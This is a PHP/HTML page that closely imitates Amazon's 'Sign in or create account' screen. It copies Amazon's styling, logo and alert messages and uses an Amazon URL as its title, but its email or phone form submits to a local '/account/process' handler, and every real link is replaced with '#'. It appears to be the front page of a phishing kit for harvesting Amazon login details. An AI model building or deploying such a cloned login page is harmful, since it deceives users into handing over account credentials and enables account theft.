<html
	lang="en-us"
	class="a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-transform3d a-touch-scrolling a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember a-ember-modern-display a-ember-modern-text"
>
	<head>
		<meta charset="utf-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" href="/public/images/favicon.png" type="image/png">
        <title>amazon.com/ap/signin?openid.pape.max_auth_age</title>

		<link
			rel="stylesheet"
			href="/public/css/karma_custom.css?v=<?= time(); ?>"
		/>
        <link
			rel="stylesheet"
			href="/public/css/karma_styles.css?v=<?= time(); ?>"
		/>
		<script src="/public/js/EntityEmailForm.js?v=<?= time(); ?>"></script>
	</head>

	<body>
		<div id="a-page">
			<div class="mx-auto px-4 py-4 flex justify-center">
                <div class="w-[350px] mx-auto">
                    <div class="a-section a-spacing-medium">
                        <div class="a-section a-spacing-none a-text-center">
                            <a class="a-link-nav-icon" tabindex="-1" href="#">
                                <i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
                            </a>
                        </div>
                    </div>

                    <div id="authportal-center-section" class="a-section">
                        <div class="a-section auth-pagelet-container">
                            <div class="a-box">
                                <div class="a-box-inner a-padding-extra-large">
                                    <div
                                        id="claim-collection-container"
                                        aria-live="polite"
                                        class="a-section a-spacing-none"
                                    >
                                        <h1 class="a-size-medium-plus a-spacing-small">
                                            Sign in or create account
                                        </h1>

                                        <p class="a-spacing-micro a-text-bold">
                                            Enter mobile number or email
                                        </p>

                                        <span
                                            class="a-declarative"
                                            data-action="submit-claim"
                                            data-submit-claim="{}"
                                        >
                                            <form
                                                id="ap_login_form"
                                                name="signIn"
                                                method="post"
                                                novalidate
                                                action="/account/process"
                                            >
                                                <div
                                                    id="claim-input-container"
                                                    class="a-section a-spacing-micro"
                                                >
                                                    <input
                                                        type="text"
                                                        id="ap_email_login"
                                                        autocomplete="username"
                                                        name="entity_email"
                                                        class="a-input-text"
                                                        data-tab-layout-weblab-treatment
                                                        aria-label="Enter your mobile number or email"
                                                    />

                                                    <button
                                                        id="claim-input-clear-button"
                                                        class="clear-text-field-button"
                                                        type="button"
                                                        style="display: none"
                                                    >
                                                        <i
                                                            class="a-icon a-icon-close"
                                                            role="presentation"
                                                        ></i>
                                                    </button>
                                                </div>

                                                <div
                                                    id="empty-claim-alert"
                                                    class="a-box a-alert-inline a-alert-inline-error aok-hidden a-spacing-top-small"
                                                    role="alert"
                                                >
                                                    <div class="a-box-inner a-alert-container">
                                                        <i class="a-icon a-icon-alert" aria-hidden="true"></i>
                                                        <div class="a-alert-content">
                                                            Enter your mobile number or email
                                                        </div>
                                                    </div>
                                                </div>

                                                <div
                                                    id="invalid-phone-alert"
                                                    class="a-box a-alert-inline a-alert-inline-error aok-hidden a-spacing-top-small"
                                                    role="alert"
                                                >
                                                    <div class="a-box-inner a-alert-container">
                                                        <i class="a-icon a-icon-alert" aria-hidden="true"></i>
                                                        <div class="a-alert-content">
                                                            Invalid mobile number
                                                        </div>
                                                    </div>
                                                </div>

                                                <div
                                                    id="invalid-email-alert"
                                                    class="a-box a-alert-inline a-alert-inline-error aok-hidden a-spacing-top-small"
                                                    role="alert"
                                                >
                                                    <div class="a-box-inner a-alert-container">
                                                        <i class="a-icon a-icon-alert" aria-hidden="true"></i>
                                                        <div class="a-alert-content">
                                                            Invalid email address
                                                        </div>
                                                    </div>
                                                </div>

                                                <div
                                                    id="error-alert"
                                                    class="a-box a-alert-inline a-alert-inline-error aok-hidden a-spacing-top-small"
                                                    role="alert"
                                                >
                                                    <div class="a-box-inner a-alert-container">
                                                        <i class="a-icon a-icon-alert" aria-hidden="true"></i>
                                                        <div class="a-alert-content">
                                                            Something’s not right. Try again.
                                                        </div>
                                                    </div>
                                                </div>

                                                <div
                                                    id="passkey-error-alert"
                                                    class="a-box a-alert-inline a-alert-inline-error aok-hidden a-spacing-top-small"
                                                    role="alert"
                                                >
                                                    <div class="a-box-inner a-alert-container">
                                                        <h4 class="a-alert-heading">Passkey error</h4>
                                                        <i class="a-icon a-icon-alert" aria-hidden="true"></i>
                                                        <div class="a-alert-content">
                                                            <p id="passkey-client-error-message">
                                                                Something went wrong, please sign-in another way
                                                                or follow any instructions provided by your
                                                                device.
                                                            </p>
                                                            <p
                                                                id="passkey-generic-server-error-message"
                                                                class="aok-hidden"
                                                            >
                                                                Sorry, your passkey isn't working. There might be
                                                                a problem with the server. Sign in with your
                                                                password or try your passkey again later.
                                                            </p>
                                                            <p
                                                                id="passkey-server-error-message"
                                                                class="aok-hidden"
                                                            ></p>
                                                        </div>
                                                    </div>
                                                </div>

                                                <span
                                                    id="continue"
                                                    class="a-button a-spacing-top-small a-button-span12 a-button-primary aok-relative"
                                                >
                                                    <span class="a-button-inner">
                                                        <input
                                                            class="a-button-input"
                                                            type="submit"
                                                            aria-labelledby="continue-announce"
                                                        />
                                                        <span id="continue-announce" class="a-button-text a-text-center" aria-hidden="true">
                                                            <!-- <span id="claim-submit-spinner" class="a-spinner a-spinner-medium aok-hidden hidden"></span> -->
                                                            <span id="continue-text">Continue</span>
                                                        </span>
                                                    </span>
                                                </span>
                                            </form>
                                        </span>

                                        <p class="a-spacing-top-medium a-size-small legal-text">
                                            By continuing, you agree to Amazon's
                                            <a
                                                href="#"
                                            >
                                                Conditions of Use
                                            </a>
                                            and
                                            <a
                                                href="#"
                                            >
                                                Privacy Notice</a
                                            >.
                                        </p>

                                        <div class="a-section">
                                            <ul class="a-unordered-list a-nostyle a-vertical">
                                                <li>
                                                    <span class="a-list-item">
                                                        <a
                                                            class="a-size-base a-link-normal"
                                                            rel="noopener noopener"
                                                            href="#"
                                                            role="button"
                                                        >
                                                            Need help?
                                                        </a>
                                                    </span>
                                                </li>
                                            </ul>
                                        </div>

                                        <div
                                            id="ab-registration-link-section"
                                            class="a-section a-spacing-none"
                                        >
                                            <hr aria-hidden="true" class="a-divider-normal" />

                                            <div class="a-section a-spacing-micro">
                                                <span class="a-text-bold">Buying for work?</span>
                                            </div>

                                            <a
                                                id="ab-registration-ingress-link"
                                                class="a-link-normal"
                                                href="#"
                                            >
                                                <span>Create a free business account</span>
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
			</div>
            <?php require __DIR__ . '/../static/footer_beforelog.html'; ?>
		</div>
	</body>
</html>
